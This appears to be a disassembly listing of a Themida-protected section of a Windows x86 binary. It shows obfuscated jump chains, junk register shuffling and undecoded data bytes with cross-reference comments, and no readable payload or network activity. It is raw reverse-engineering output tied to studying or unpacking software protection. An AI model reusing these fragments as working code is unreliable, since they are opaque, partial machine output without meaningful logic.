5C240487h, 0BB241C89h, 7A2904E7h, 4D0EE9h, 45123500h dd 0C701590Bh, 8124048Bh, 4C4h, 2C78300h, 31243C33h, 3C33243Ch dd 1BE95C24h, 8900002Dh, 9C502414h, 0FFFAE3E9h, 0B25253FFh dd 0E9D388F1h, 716Bh ; --------------------------------------------------------------------------- loc_543F48: ; CODE XREF: Themida_:0054994Dj push eax mov eax, 3DBE6272h push edi mov edi, 214340B5h jmp loc_549DBE ; --------------------------------------------------------------------------- aBRSiq db 'êÏ-R&é©q',0 align 4 dd 4F11BE56h, 74010F6Dh, 6BE90424h, 0AC000017h, 2E2D68h dd 13E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543F7E: ; CODE XREF: Themida_:005447DEj sub esp, 4 mov [esp], eax jmp loc_54E202 ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 8 dd 1FDAE9h, 24148900h, 0E994B450h, 63D2h, 0E9FBF680h, 41DCh dd 14F7515Fh, 0E9815924h, 0F5FCFED7h, 4D13C781h, 0CF01797Ch dd 4D13EF81h, 53E9797Ch, 0BD00009Fh, 614B6A75h, 5B3DE9h dd 2CD00000h, 5B5A6669h, 27D9E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543FDA: ; CODE XREF: Themida_:0054F189j xchg ebx, esi jmp loc_54BC3B ; --------------------------------------------------------------------------- loc_543FE1: ; CODE XREF: Themida_:0054663Ej xor eax, [esp] mov esp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_549BA9 ; --------------------------------------------------------------------------- db 5Fh dd 835EF201h, 148704EAh, 34895C24h, 57E68924h, 0B44EADBFh dd 57C78105h, 0E9FA4BB1h, 102Eh, 8685758h, 5F6B6C7Ch, 79B8F781h dd 0EFD15AB8h, 70C8CF81h, 0E7C10FFDh, 37BDE906h, 0EC810000h dd 4, 0FF240C89h, 8B042474h, 0C481240Ch, 4, 5C24048Fh dd 9C240401h, 0FFF9C3E9h, 9BE955FFh, 0FF000014h, 669D1C77h dd 241CD359h, 0F9AEE99Ch, 0E981FFFFh, 3798587Dh, 7EE9D101h dd 64000041h, 66028B66h, 66486268h, 0E9240489h, 0FFFFF990h ; --------------------------------------------------------------------------- loc_544090: ; CODE XREF: Themida_:0054BC47j pop esi pop dword ptr [esp] pop eax push ecx jmp loc_548CBA ; --------------------------------------------------------------------------- loc_54409B: ; CODE XREF: Themida_:00547833j add ebp, 6EF6585Ch mov esi, ebp pop ebp sub esi, 7EC255B7h jmp loc_54A8BD ; --------------------------------------------------------------------------- loc_5440AF: ; CODE XREF: Themida_:0054DF9Bj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 7F46h jmp loc_548BB4 ; --------------------------------------------------------------------------- dd 48BC731h, 4D9E924h, 80590000h, 0E200EFC2h, 8BEFEA80h dd 0C4832404h, 80CAFE04h, 0D03043F2h, 8324148Bh, 0E95304C4h dd 7226h ; --------------------------------------------------------------------------- loc_5440F8: ; CODE XREF: Themida_:0054A9CFj push ebx mov ebx, 69A318DDh inc ebx jmp loc_5443DF ; --------------------------------------------------------------------------- aZsS db 'Z騑',0 align 2 loc_54410A: ; CODE XREF: Themida_:0054E9F0j push ebp mov ebp, 69576AAAh push ecx mov ecx, 52A657D5h or ebp, ecx mov ecx, [esp] add esp, 4 shl ebp, 4 and ebp, 37CB045Bh shr ebp, 7 shl ebp, 2 xor ebp, 18846FE9h xor ecx, ebp jmp loc_54D8BF ; --------------------------------------------------------------------------- loc_54413A: ; CODE XREF: Themida_:0054E0D1j add esp, 4 xchg eax, ebx jmp loc_54DAFC ; --------------------------------------------------------------------------- db 89h dd 0C4E92414h, 8100000Bh, 4ECh, 0FBF9E900h, 0B652FFFFh dd 5998E9C4h, 8B660000h, 68522404h, 79ACh, 81242489h, 42404h dd 148B0000h, 6E95224h, 8100008Eh, 4C4h, 262C00h, 179E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54418A: ; CODE XREF: Themida_:0054B8F8j xchg edi, [esp] mov esp, [esp] mov [esp], ecx jmp loc_54D36E ; --------------------------------------------------------------------------- loc_544198: ; CODE XREF: Themida_:005494D7j xchg ecx, [esp] mov esp, [esp] mov [esp], edx push ecx jmp loc_549396 ; --------------------------------------------------------------------------- db 50h dd 0E480D2B4h, 0E9DCF6ADh, 771Ah, 8861EF80h, 0C9B75BF8h dd 48BC700h, 36E95224h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5441C7: ; CODE XREF: Themida_:00549609j push dword ptr [esp] pop edx push edi mov edi, esp push esi mov esi, 4 jmp loc_54D255 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 8904EC83h, 4812424h, 424h, 0E9535D00h, 7B0Ch, 0C781E789h dd 4, 0FD1E9h, 81E28900h, 4C2h, 4C28100h, 87000000h, 0DAE92414h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544213: ; CODE XREF: Themida_:005496B4j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_546D76 ; --------------------------------------------------------------------------- loc_544227: ; CODE XREF: Themida_:00547963j push 2A113BCEh pop ebx xor ebx, 4F9002E2h xor ebx, 58692933h sub ebx, 7507164h sub ebx, 1D637E51h mov edi, ebx pop ebx shl edi, 3 sub esp, 4 mov [esp], esi mov esi, 48F6388Fh jmp loc_546818 ; --------------------------------------------------------------------------- dw 48Fh dd 0F665C24h, 6866C8B6h, 0ACE96693h, 89FFFFFAh, 5A542414h dd 4C281h, 0E9570000h, 59Dh ; --------------------------------------------------------------------------- loc_544280: ; CODE XREF: Themida_:0054C6E2j mov ebp, esp add ebp, 4 push ecx jmp loc_544DC4 ; --------------------------------------------------------------------------- aYsts db 'Yéts',0 align 4 aAAidaR db '€ê+€ëD€Ãr',0 dw 52D3h dd 8701E9h db 0 ; --------------------------------------------------------------------------- loc_5442A5: ; CODE XREF: Themida_:00546793j mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] mov [esp], eax push dword ptr [esp] pop edx push eax jmp loc_54D525 ; --------------------------------------------------------------------------- aZsum db 'Zé“M',0 align 2 dw 52ACh dd 0FFF8E6E9h db 0FFh ; --------------------------------------------------------------------------- locret_5442CD: ; CODE XREF: Themida_:00549869j retn ; --------------------------------------------------------------------------- dw 4DE9h dd 41FFFFF7h, 3E1C149h, 0A3AF181h, 0CA3170D7h, 592434FFh dd 4C481h, 0D6890000h, 8124148Bh, 4C4h, 4747E900h, 0C890000h dd 3DE95624h, 40000AAh, 24148B26h, 4C481h, 89520000h, 4C281E2h dd 0E9000000h, 48A1h, 8904EC83h, 2BE92404h, 29000056h dd 40582404h, 0A023BD55h, 0B9059E54h, 292BD40Eh, 0EB92DE8h dd 15D2BD4h, 0B85058C1h, 4, 54CEE981h, 0C10109FDh, 54CEC181h dd 0E95809FDh, 0FFFFFCDEh, 4EC835Ch, 0E9241489h, 75B8h dd 525AD131h, 0AE74F7BAh, 22F28102h, 316D757Ch, 0D9F75AD1h dd 43ACE9h, 58C12900h, 0C181F101h, 7C1E4495h, 240C875Eh dd 2924248Bh, 0E99C2404h, 857Ah, 621868h, 24148900h, 0FFF677E9h dd 240487FFh, 245F895Ch, 68241C8Bh, 2749h, 89243489h, 4BA52E6h dd 0E9000000h, 4BFBh, 0BA241489h, 41CF4E19h, 295AD089h dd 0FF042444h, 0C9E92434h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5443DF: ; CODE XREF: Themida_:005440FFj shr ebx, 5 push ebp jmp loc_54D5DE ; --------------------------------------------------------------------------- loc_5443E8: ; CODE XREF: Themida_:0054EB28j push 76C35B26h mov ecx, [esp] push ebx mov ebx, esp sub esp, 4 mov [esp], eax push esi push 2A442ACEh pop esi add esi, 7332F30h jmp loc_54B76C ; --------------------------------------------------------------------------- dw 0A22Ch dd 0FC3305Ah, 8B66C0B6h, 0E9532414h, 2D13h, 5724048Fh dd 144135BFh, 168533Eh, 5B000000h, 525BDF01h, 18B4E9h dd 0C5F58100h, 2941EB76h, 242C8BEBh, 4C481h, 3880000h dd 0E92434FFh dword_544450 dd 81C2h, 3484EA81h, 3C8B5705h, 4EC8324h, 89242C89h, 4C581E5h ; DATA XREF: ___:off_43D3D4o dd 81000000h, 4C5h, 242C8700h, 0B231E9h, 241C8900h, 0EF01CCBBh dd 0E9515324h, 2127h, 5F545759h, 35C7BB53h, 0F3810F13h dd 4DF63CAEh, 240CFF53h, 64EB815Bh, 8142E509h, 0C97D0DC7h dd 52DF0136h, 1179E9h db 0 ; --------------------------------------------------------------------------- loc_5444B1: ; CODE XREF: Themida_:0054684Dj add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx add dword ptr [esp], 2BB00072h jmp loc_547810 ; --------------------------------------------------------------------------- a3SW db '3,$é±w',0 align 4 dd 0FF2434FFh, 0C8B2434h, 4EC8324h, 89243C89h, 4C781E7h dd 52000000h, 8645CCBAh, 91E5E97Fh, 13B00000h, 8904EC83h dd 5AB7241Ch, 0FE5BF808h, 88A32CC8h, 9BC4E9C2h, 8B660000h dd 0FA68240Ch, 0E900001Bh, 6073h ; --------------------------------------------------------------------------- loc_544520: ; CODE XREF: Themida_:00543C8Fj mov edx, 1 and eax, edx jmp loc_54A835 ; --------------------------------------------------------------------------- loc_54452C: ; CODE XREF: Themida_:0054BC75j mov esi, ecx pop ecx xor esi, edi pop edi mov ecx, esi jmp loc_546B2A ; --------------------------------------------------------------------------- aIthN db '‰âhìN',0 align 10h dd 53242C89h, 203F08BBh, 5CEB8111h, 52967320h, 0D589DA89h dd 8124148Bh, 4C4h, 0E9E95B00h, 81000076h, 4EFh, 243C8700h dd 38ABE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_544572: ; CODE XREF: Themida_:0054EC36j add ebp, ebx add ebp, 3AE06803h pop ebx xchg ebp, [esp] mov esp, [esp] jmp loc_544D07 ; --------------------------------------------------------------------------- dw 0C281h dd 57053484h, 0C1E9FA01h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544593: ; CODE XREF: Themida_:0054B4ADj mov edi, 401C7AEFh jmp loc_54D82D ; --------------------------------------------------------------------------- db 59h, 56h, 52h dd 0CE6A24BAh, 0BAF9BE64h, 56E9BB8Dh, 81000092h, 4C4h dd 8BF80100h, 0C483243Ch, 8FB3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5445C2: ; CODE XREF: Themida_:0054F4ADj push edi push ebx jmp loc_54C638 ; --------------------------------------------------------------------------- loc_5445C9: ; CODE XREF: Themida_:0054FB20j mov [eax], edx pop eax mov ecx, [esp] push 4B2Bh mov [esp], ebp mov ebp, esp push edi push ebp mov ebp, 44917434h mov edi, 44917430h xor edi, ebp jmp loc_54D323 ; --------------------------------------------------------------------------- dd 5C243C87h, 28F4E9h db 0 ; --------------------------------------------------------------------------- loc_5445F5: ; CODE XREF: Themida_:0054D305j sub ebp, edi pop edi and eax, ebp jmp loc_54A1A3 ; --------------------------------------------------------------------------- loc_5445FF: ; CODE XREF: Themida_:00545C42j mov ebp, esi pop esi sub ecx, 0C595F53h add ecx, ebp jmp loc_54622C ; --------------------------------------------------------------------------- db 89h dd 0DEE92404h db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544617: ; CODE XREF: Themida_:0054A6E2j pop esp jmp loc_54BCE4 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0E924248Bh, 0FFFFF3F8h, 158C789h, 243C8BF8h, 6B46E9h dd 81C32900h, 9B2A66EBh, 93C3813Ah, 0E916E079h, 7A0Bh ; --------------------------------------------------------------------------- loc_544648: ; CODE XREF: Themida_:00545B16j pop ebx shr ebx, 5 add ebx, 1 push ecx mov ecx, 0EF952E8h dec ecx push eax mov eax, 24EA7782h inc eax xor eax, 22B528C7h neg eax push edi mov edi, 48EF55E8h shr edi, 7 dec edi not edi not edi add edi, 0BAEB8140h jmp loc_548029 ; --------------------------------------------------------------------------- dd 0D95781BAh, 81D2F77Eh, 0B75EDACAh, 6C2817Eh, 1004801h dd 0F9685AD5h, 8900002Ah, 44E92414h, 5100001Fh, 781C9AB9h dd 59CB0107h, 0E9008F66h, 0FFFFF36Ch, 0E9EB0159h, 15A6h dd 0BA525750h, 544B3E5Ch, 3452CBFh, 0E9D72976h, 1CDBh dd 4C681h, 34870000h, 0CE805C24h, 80C6FE70h, 0E6C0B5C6h dd 0A4B15102h, 0C180C9FEh, 59CE28CBh, 535AF000h, 0F380CBB3h dd 0B652665Dh, 0B3536648h, 66D800D6h, 2885045Bh, 0E9852CF0h dd 51FCh, 5750E789h, 0C9489EBFh, 65BDE91Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54471E: ; CODE XREF: Themida_:0054E1AEj mov [esp], eax xor [esp], ebp xor ebp, [esp] xor [esp], ebp sub esp, 4 mov [esp], ebp xchg edx, [esp] xchg eax, edx not eax jmp loc_54CEAD ; --------------------------------------------------------------------------- db 0BAh dd 1818249Bh, 3989F281h, 0EA87585Ah, 0EA87D5F7h, 1D17C281h dd 0D1014042h, 4EBFE9h, 5AD02900h, 2C0835Dh, 2474FF50h dd 24048B04h, 0E9E78957h, 63EDh ; --------------------------------------------------------------------------- loc_544770: ; CODE XREF: Themida_:0054FB4Dj add ebp, 4 jmp loc_54A9C1 ; --------------------------------------------------------------------------- aZSA db '‡<$éÃA',0 dw 0B900h dd 4, 8759CA29h, 895C2414h, 0E953240Ch, 4B62h ; --------------------------------------------------------------------------- loc_544798: ; CODE XREF: Themida_:005493E5j push esp jmp loc_54E949 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 40500h, 41E90000h db 0B1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5447AF: ; CODE XREF: Themida_:0054B176j pop dword ptr [esp] mov esp, [esp] jmp loc_5449B6 ; --------------------------------------------------------------------------- loc_5447BA: ; CODE XREF: Themida_:00544DD4j pop ebp sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edi mov edi, 4 add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_543F7E ; --------------------------------------------------------------------------- loc_5447E3: ; CODE XREF: Themida_:0054D236j mov [esp], esp jmp loc_54F291 ; --------------------------------------------------------------------------- db 0BBh dd 2B594B13h, 4D00E956h, 0E95B0000h, 1E77h, 0FF38BD55h dd 0EB01C013h, 6FBD555Dh, 0E92FA45Fh, 6639h, 68C8B70Fh dd 68h, 7772E9h, 81E78900h, 4C7h, 4EF8100h, 57000000h dd 1315E9h, 89D08900h, 24048BC3h, 4C481h, 815A0000h, 7B3054EBh dd 5BD9895Ch, 34FFF101h, 0C4815E24h, 4, 51FDE181h, 8BE90E41h dd 57000094h, 7F085CBFh, 5FF931D1h, 0C8BCA31h, 4C48124h dd 57000000h, 0F989D789h, 2B11E95Fh, 0C4830000h, 24048704h dd 4FF665Ch, 0F6E99C24h, 6800000Eh, 0 dd 58240429h, 31F03148h, 0E9F031C6h, 5BB9h, 8B242C87h dd 75E92424h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5448AF: ; CODE XREF: Themida_:005497CEj mov [esp], edi mov edi, 771D5509h push eax mov eax, 447B7863h sub edi, eax pop eax push 4A3Ch mov [esp], eax mov eax, 74FE450Ah jmp loc_543EAB ; --------------------------------------------------------------------------- dw 0C181h dd 4, 8704E983h, 895C240Ch, 0D4BE2434h, 4621C866h, 992FC681h dd 0C281DE37h, 25DB70F9h, 0EA81F201h, 25DB70F9h, 2C2815Eh dd 81000000h, 4ECh, 24148900h, 42474FFh, 8324148Bh, 48F04C4h dd 24248B24h, 108E9h, 4C18100h, 87000000h, 505C240Ch, 42474FFh dd 24048F58h, 0D324248Bh, 0E99C243Ch, 0FFFFF0E0h, 0ED81C501h dd 114946A4h, 69F9E958h, 0E9520000h, 2337h ; --------------------------------------------------------------------------- loc_544954: ; CODE XREF: Themida_:0054C208j push eax mov eax, 2C2A6889h and eax, 1DD046BCh xchg eax, ecx neg ecx xchg eax, ecx and eax, 55402213h shl eax, 7 dec eax add eax, 0CE3B4C74h mov edi, eax pop eax add edi, 26DB409Ah jmp loc_54DE4C ; --------------------------------------------------------------------------- db 83h dd 148704C2h, 0A59BE924h, 0F4BE0000h, 29284867h, 12055EF0h dd 532A0D33h, 0C381E389h, 4, 8704EB83h, 248B241Ch, 24348924h dd 0F86B0BBEh, 6591E932h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5449B6: ; CODE XREF: Themida_:005447B5j push 72D3h mov [esp], ebx push dword ptr [esp] jmp loc_545B1B ; --------------------------------------------------------------------------- dw 8B66h dd 0E951240Ch, 566Eh, 0E9240431h, 0A057h ; --------------------------------------------------------------------------- loc_5449D8: ; CODE XREF: Themida_:00545DFFj add eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] pop edx push edi jmp loc_5455C6 ; --------------------------------------------------------------------------- loc_5449E8: ; CODE XREF: Themida_:0054810Ej xor ecx, 11CA159Dh push edi mov edi, 608379F1h dec edi shl edi, 7 neg edi xor edi, 79B663DAh sub edi, 0B72797F0h xor ecx, edi pop edi add esi, ecx pop ecx xchg esi, [esp] pop esp push edx mov edx, 60966D43h push edi mov edi, 7F1910B9h xor edi, 4BA74235h and edx, edi jmp loc_54C717 ; --------------------------------------------------------------------------- db 8, 4, 24h aSI db 'œé',9,'ˆ',0 align 2 loc_544A32: ; CODE XREF: Themida_:00547B62j push edx jmp loc_546FB0 ; --------------------------------------------------------------------------- loc_544A38: ; CODE XREF: Themida_:00544B92j pop edi mov ebp, [esp] add esp, 4 jmp loc_54F71C ; --------------------------------------------------------------------------- loc_544A47: ; CODE XREF: Themida_:0054C699j mov ebp, ecx pop ecx mov ecx, ebp pop ebp push edi mov edi, 3D440298h jmp loc_5495BC ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 0FFFFFE1Eh, 516E68h, 24348900h, 24348B54h dd 4C481h, 0EC830000h, 241C8904h, 4BBh, 8D69E900h, 48400000h dd 2F5F0540h, 77354281h, 0E975A276h, 7E90h, 0FFE9DA89h dd 66000043h, 0E924048Bh, 5F43h, 5B04C483h, 0E9243C87h dd 0FFFFEF70h, 5BF800h, 0D0E952D8h, 5A000076h, 1DE9D801h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544AC3: ; CODE XREF: Themida_:005451C9j sub eax, 318F0E44h pop esi jmp loc_54E615 ; --------------------------------------------------------------------------- aZaDz db 'Z€ÃDZ',0 dd 0FEEB80C3h, 78D868h, 241C8900h, 0A24BB9BBh, 7CE3815Fh dd 81363669h, 0CE71AFC3h, 0CFF38166h, 0E97CF0BAh, 0A2DEh dd 2A7D68h, 24348900h, 0D873EC68h, 2434FF54h, 0E389535Eh dd 4C381h, 0D5E90000h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_544B1B: ; CODE XREF: Themida_:005483A0j mov esp, [esp] sub esp, 4 mov [esp], ebx mov ebx, 0CC8DAC0Ch add ecx, ebx mov ebx, [esp] add esp, 4 mov ebp, ecx push dword ptr [esp] pop ecx add esp, 4 and ecx, ebp jmp loc_545018 ; --------------------------------------------------------------------------- dd 0E904C483h, 489Eh, 53242C89h, 3DDBA52h, 0D3894D44h dd 6B2CBD5Ah, 0DD299C54h, 0CFF5815Bh, 4D2CEA34h, 0B9ED814Dh dd 83240893h, 348904ECh, 585DBE24h, 0E9512FC7h, 4259h dd 0F0CDE9ADh, 95E9FFFFh db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544B8B: ; CODE XREF: Themida_:0054895Aj push ebp mov ebp, 9FF1DFCAh push ebp jmp loc_544A38 ; --------------------------------------------------------------------------- db 68h dd 76CDh, 0E9241489h, 7AD1h, 0DBF7D3F7h, 0A253E94Bh, 4AC0000h dd 0A805E94Ah, 74010000h, 0E95E0424h, 1975h, 292168h, 24148900h dd 1389E951h, 0DD010000h, 0A42EE95Bh, 55AD0000h, 43737EBDh dd 0FDED8152h, 0C14D0D08h, 0ED8104EDh, 70F94F46h, 4054C581h dd 0EE01837Fh, 88B9515Dh, 5369004Dh, 0AF7EC2BBh, 5BD92156h dd 4CE0E9h, 788C6800h, 34890000h, 81E68924h, 4C6h, 4CF26800h dd 0C890000h, 6C6FB924h, 0BB5354A1h, 75A909DDh, 5A9DF381h dd 1EE95435h, 8B00007Fh, 0C481242Ch, 4, 0EEC1EED1h, 0F7DEF708h dd 8BEE81D6h, 1003C18h, 0C875EF1h, 24248B24h, 24048B66h dd 213CE9h, 24D36600h, 0B5E99C24h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544C6B: ; CODE XREF: Themida_:0054A46Fj inc edx shl edx, 2 sub edx, 38264DCBh mov edi, edx pop edx jmp loc_54F802 ; --------------------------------------------------------------------------- loc_544C7D: ; CODE XREF: Themida_:00545B8Dj mov [esp], ebx mov ebx, 1 jmp loc_547D18 ; --------------------------------------------------------------------------- dw 0D25Ch dd 0E99C243Ch, 0FFFFED8Ch ; --------------------------------------------------------------------------- loc_544C94: ; CODE XREF: Themida_:00549391j add esp, 4 add esp, 4 jmp loc_54E754 ; --------------------------------------------------------------------------- aYSV db 'Y(ØéØV',0 dd 4EC8100h, 54000000h, 8124048Fh, 42404h, 565B0000h, 4BEh dd 14C38100h, 1649362h, 14EB81F3h, 0E9649362h, 1771h ; --------------------------------------------------------------------------- loc_544CD8: ; CODE XREF: Themida_:0054CE16j and edx, 243204DFh shl edx, 7 jmp loc_54BDD4 ; --------------------------------------------------------------------------- loc_544CE6: ; CODE XREF: Themida_:00546CCCj mov edi, 4 add ebx, edi pop edi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp shr ecx, 0Ah jmp loc_54DAE4 ; --------------------------------------------------------------------------- loc_544D00: ; CODE XREF: Themida_:0054935Aj xor [esp], esi xor esi, [esp] pop esp loc_544D07: ; CODE XREF: Themida_:00544581j ; Themida_:00545B05j push dword ptr [esp] jmp loc_546A70 ; --------------------------------------------------------------------------- db 0BAh dd 45CC0A87h, 7CC28142h, 0E9BA33F5h, 1323h, 241C8966h dd 0B302B450h, 58E32837h, 604BA2Ch, 0D8008F04h, 62C8F2Ch dd 8B66BA04h, 0BB68241Ch, 8900006Ch, 5954240Ch, 4C181h dd 0D0E90000h, 0C100005Dh, 0AA0503E8h, 291D64C0h, 34FF4047h dd 0E9525824h, 14h ; --------------------------------------------------------------------------- loc_544D68: ; CODE XREF: Themida_:0054AD62j sub eax, ecx pop ecx jmp loc_545CFC ; --------------------------------------------------------------------------- dd 5C240C87h, 0E9242489h, 31B8h, 0C281E289h, 4, 0FFFBF6E9h dd 74FF51FFh, 0C8B0424h, 4C48324h, 8B24048Fh, 0E9C12424h dd 0FC00900h, 0FFFC1184h, 2C8153FFh, 56653124h, 2434FF19h dd 27FBE958h, 0E7890000h, 4C781h, 0E9560000h, 0FFFFFB8Ah ; --------------------------------------------------------------------------- loc_544DC4: ; CODE XREF: Themida_:00544289j push esp pop ecx push ebp mov ebp, 696A3770h sub ebp, 696A376Ch add ecx, ebp jmp loc_5447BA ; --------------------------------------------------------------------------- db 58h, 51h, 0B5h dd 0E9E828F4h, 6507h, 8B5DEB80h, 0C4812414h, 4, 0C380C328h dd 0D0EB80B6h, 0E9C0B60Fh, 946Ah, 5866C330h, 460B6866h dd 24148966h, 5FE9C0B2h, 81000098h, 0CEC011EFh, 5FF98900h dd 3B27F181h, 8DE92910h, 0B900001Ch, 5C7D3151h, 15DE931h dd 535659C8h, 4BBh, 5BDE8900h, 2C5E372Dh, 5F00108h, 82C5E37h dd 921CE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544E4E: ; CODE XREF: Themida_:0054D01Dj pop eax add eax, 4 push edx mov edx, 4 add eax, edx pop edx jmp loc_54CDE9 ; --------------------------------------------------------------------------- dw 0F181h dd 245B592Bh, 1D6FBA52h, 0D1295BA7h, 0A8C9815Ah, 0E904250Fh dd 8C41h, 0E9F4C980h, 0Eh, 81E78957h, 4C7h, 5E15E900h dd 0F1800000h, 0C4B45074h, 0F7E9E128h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544E9F: ; CODE XREF: Themida_:00545B41j pop esp jmp loc_545C34 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0DBh dd 3152984Dh, 0C8015DE9h, 2C08359h, 0E9240433h, 0A394h dd 0C0E9F280h, 0C28004EAh, 5DC380A8h, 69FAE9h, 30D43000h dd 30DCF6E2h, 30D430E2h, 80DAF6E2h, 0C28042EAh, 5EA80B3h dd 30F1B151h, 240C8BCAh, 96A3E9h, 74FF5500h, 8F5D0424h dd 0E95C2404h, 0FFFFEB20h, 0EF40EB81h, 97E9FB8Fh db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544F0B: ; CODE XREF: Themida_:0054E216j add ecx, 4 jmp loc_54C24A ; --------------------------------------------------------------------------- db 0B6h dd 2E6C00Ah, 0B3B45066h, 8B66E620h, 0C4812404h, 2, 98CCE9h dd 24048F00h, 99D0E9h, 2BE00h, 0E9810000h, 614B6A75h db 0E9h, 0BAh word_544F42 dw 3Bh ; DATA XREF: ___:off_435E10o dd 4C38100h, 68000000h, 4BF7h, 0E9240489h, 292Ah, 559CE957h dd 0E9520000h, 0AC5Ch, 0E904C483h, 1692h, 5404EC83h, 8124048Fh dd 42404h, 148B0000h, 0EC815124h, 4, 24048F54h, 0FFF0D0E9h dd 2C77FFFFh, 0FFEA8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_544F95: ; CODE XREF: Themida_:0054FA5Ej pop ebp add esp, 4 jmp loc_54E297 ; --------------------------------------------------------------------------- dw 0C181h dd 3C37080Ch, 0A0E8E9h db 0 ; --------------------------------------------------------------------------- loc_544FA9: ; CODE XREF: Themida_:00548DC3j add edi, 8577411h add edi, 7EAF1A69h add edi, 68A1783h sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], ebx add dword ptr [esp], 1B0463AEh pop ebx push eax mov eax, 63D756DDh jmp loc_5474CE ; --------------------------------------------------------------------------- dd 89243C89h, 4C781E7h, 53000000h, 2BBh, 1EAD6800h, 2C890000h dd 815DE924h, 0A2B80000h, 403AC349h, 3713E9h, 4896600h dd 0EA16E924h, 9B35FFFFh, 9AFB0FCh, 0E94F58C7h, 207h ; --------------------------------------------------------------------------- loc_545018: ; CODE XREF: Themida_:00544B3Fj pop ebp shr ecx, 7 jmp loc_54B8E4 ; --------------------------------------------------------------------------- loc_545021: ; CODE XREF: Themida_:0054A2B7j push dword ptr [esp] pop edx jmp loc_547FAD ; --------------------------------------------------------------------------- loc_54502A: ; CODE XREF: Themida_:005489E5j push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax push edx push esp pop edx push edi mov edi, 1F9C2B2Eh sub edi, 5ACF6EA5h not edi jmp loc_545D45 ; --------------------------------------------------------------------------- dw 0C681h dd 35F66631h, 0EE81FE01h, 35F66631h, 83243C8Bh, 7DE904C4h dd 5B00000Fh, 8B240C87h, 0C5E92424h, 5D000069h, 8B5EF301h dd 54E92404h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54507B: ; CODE XREF: Themida_:00548693j mov [esp], ebx pop edx sub esp, 4 jmp loc_543B90 ; --------------------------------------------------------------------------- loc_54508A: ; CODE XREF: Themida_:00546A71j push ebp mov ebp, esp sub esp, 4 mov [esp], eax push esi push 5BEF6C87h mov esi, [esp] add esp, 4 jmp loc_54AF69 ; --------------------------------------------------------------------------- aLS8 db '‹$$é8 ',0 align 4 dd 83243C8Bh, 0D18904C4h, 88D9015Ah, 1C8B5901h, 7D59E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5450C2: ; CODE XREF: Themida_:0054F602j shl ebx, 4 jmp loc_54E665 ; --------------------------------------------------------------------------- dw 0BF57h dd 4, 685FFA01h, 2462h, 0FF241489h, 8B042474h, 0C4812414h dd 4, 8B24048Fh, 2DE92424h, 0FFFFE9h, 0D0005BF8h, 0FFF311E9h dd 0E9CA20FFh, 5272h, 9D1C77FFh, 24041958h, 0E90EE99Ch dd 875BFFFFh, 0F7EA87DAh, 35E2E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54511E: ; CODE XREF: Themida_:0054D266j push 27DBh mov [esp], esi push ebx push eax jmp loc_549AA4 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0F5010000h, 2C5815Eh, 87000000h, 665C242Ch, 0E924048Bh dd 55D9h, 0AB087BBFh, 5FF82957h, 4E4268h, 24348900h, 0BB3474BEh dd 0EEC1461Ah, 12BB5307h, 817BB51Fh, 5514DE3h, 8F7BE94Eh dd 34890000h, 61D2BE24h, 0DEF76617h, 0BA52h, 0F2290000h dd 7D14E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54518A: ; CODE XREF: Themida_:0054F45Fj or esi, 0C2E2AFAh jmp loc_545938 ; --------------------------------------------------------------------------- db 81h, 0F6h, 7Dh dd 29047656h, 0FB015EF3h, 426FC381h, 0D9E90C27h, 5A000098h dd 93E9CA30h, 81000099h, 0B92153F7h, 0E9FA010Dh, 44B0h ; --------------------------------------------------------------------------- loc_5451C0: ; CODE XREF: Themida_:0054B772j push esi add dword ptr [esp], 318F0E44h pop eax jmp loc_544AC3 ; --------------------------------------------------------------------------- dw 5E68h dd 8900007Fh, 0EC81241Ch, 4, 8CE6E9h, 0D12C00h, 4182E9D0h dd 6E680000h, 0E9000053h, 8A7Dh ; --------------------------------------------------------------------------- loc_5451F4: ; CODE XREF: Themida_:0054AE94j sub [esp+4], ecx jmp loc_545DD7 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0F85AE924h db 2 dup(0FFh) ; 